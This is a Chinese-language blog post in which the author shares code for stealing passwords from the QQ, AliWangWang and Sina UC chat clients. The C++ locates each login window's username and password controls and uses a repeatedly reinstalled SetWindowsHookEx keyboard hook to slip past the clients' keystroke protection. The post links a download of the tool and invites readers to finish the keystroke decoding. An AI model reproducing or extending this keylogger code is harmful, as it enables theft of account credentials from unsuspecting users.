今天逛了下黑客学院网站(自己无端端想看一下黑客),下载了几个月份的黑客防线PDF,看有没有自己想学的东西,谁知道看了后大部分都不了解,今日的黑客都匪夷所思~~汗。
谁知道在黑客防线2011年的1月PDF中看到了一篇非常有兴趣的文章:用户态突破QQ密码保护机制(一个杭州工程学院人写的,大神啊,大神,不膜拜,不行),盗取密码....于是看着写代码,真行。想当初自己也曾试过HOOK QQ,想盗取密码,但是失败告终..
学会了QQ的密码获取,那阿里旺旺,新浪UC..等等所有的垃圾保UC端还能远吗,于是几分钟内,其它的UC端一一给我获取了(小弟以前做过自动登录阿里旺旺,新浪UC的小工具)....Oh,原来是这么的简单。
下面分析一下代码:
一.关键之一是:获取它的用户名和密码句柄:
(1)QQ的句柄:
BOOL CSee_QQDlg::FindQQHwnd()
{
HwndQQ = ::FindWindowEx( NULL, NULL, "TXGuiFoundation", "QQ2010" );
if( HwndQQ )
{
HwndChild = ::GetWindow( HwndQQ, GW_CHILD );
HwndUserName = ::GetWindow( HwndChild, GW_HWNDFIRST );
HwndPassword = ::GetWindow( HwndChild, GW_HWNDLAST );
return TRUE;
}
else
{
return FALSE;
}
}
(2)阿里旺旺的句柄:
HwndWangWnag = ::FindWindowEx( NULL, NULL, "StandardFrame", "阿里旺旺2011" );
HwndChild=::FindWindowEx( HwndWangWnag,NULL,"StandardWindow","登录窗口");
if( HwndChild )
{
HwndUserName = ::FindWindowEx( HwndChild, NULL,"EditComponent",NULL);
HwndUserName = ::FindWindowEx( HwndChild, HwndUserName,"EditComponent",NULL);
HwndPassword=::FindWindowEx( HwndChild,NULL,"AliEdit",NULL);
HwndPassword=::FindWindowEx( HwndPassword,NULL,NULL, "");
HwndPassword=::FindWindowEx( HwndPassword,NULL,"ATL:Edit","");
return TRUE;
}
(3)新浪UC的句柄:
HwndUC = ::FindWindow( NULL, "新浪UC" );
HwndChild=::FindWindowEx( HwndUC, NULL, "#32770", NULL );
if( HwndChild )
{
HwndUserName = ::FindWindowEx( HwndChild, NULL, "ComboBox", NULL );
HwndUserName = ::FindWindowEx( HwndUserName, NULL, "Edit", NULL );
HwndPassword=::FindWindowEx( HwndChild, NULL, "Edit", NULL );
return TRUE;
}
(4)其它的自己来吧,Oh..
2.关键之二是:HOOK的方法:
采用SetWindowsHookEx,而且是不停的安装和卸载HOOK用定时器吧,这样可以防其UC端给先过滤掉正常的按键消息。
void CSee_QQDlg::OnTimer(UINT_PTR nIDEvent)
{
switch( nIDEvent )
{
case 1:
if( DeleteHook() )
if( SetHook() )
{
}
break;
default:
break;
}
CDialog::OnTimer(nIDEvent);
}
3.关键三是:可以HOOK按键了,但有些UC,像QQ就会发一些垃圾的按键消息,碍你的视线,这就需要你研究了,不过在《用户态突破QQ密码保护机制》已经帮你解决了,原来是这么复杂,死TX,而其它UC,则不会这样,好好容易获取密码。
4.关键四是:对用户按键的东西进行分析,已输出密码,不过自己没写这些,有兴趣写的朋友,发我一份啊。
下载地址:http://u.115.com/file/dn4iiy8a
最后还是要感谢黑客防线,感谢那个牛人。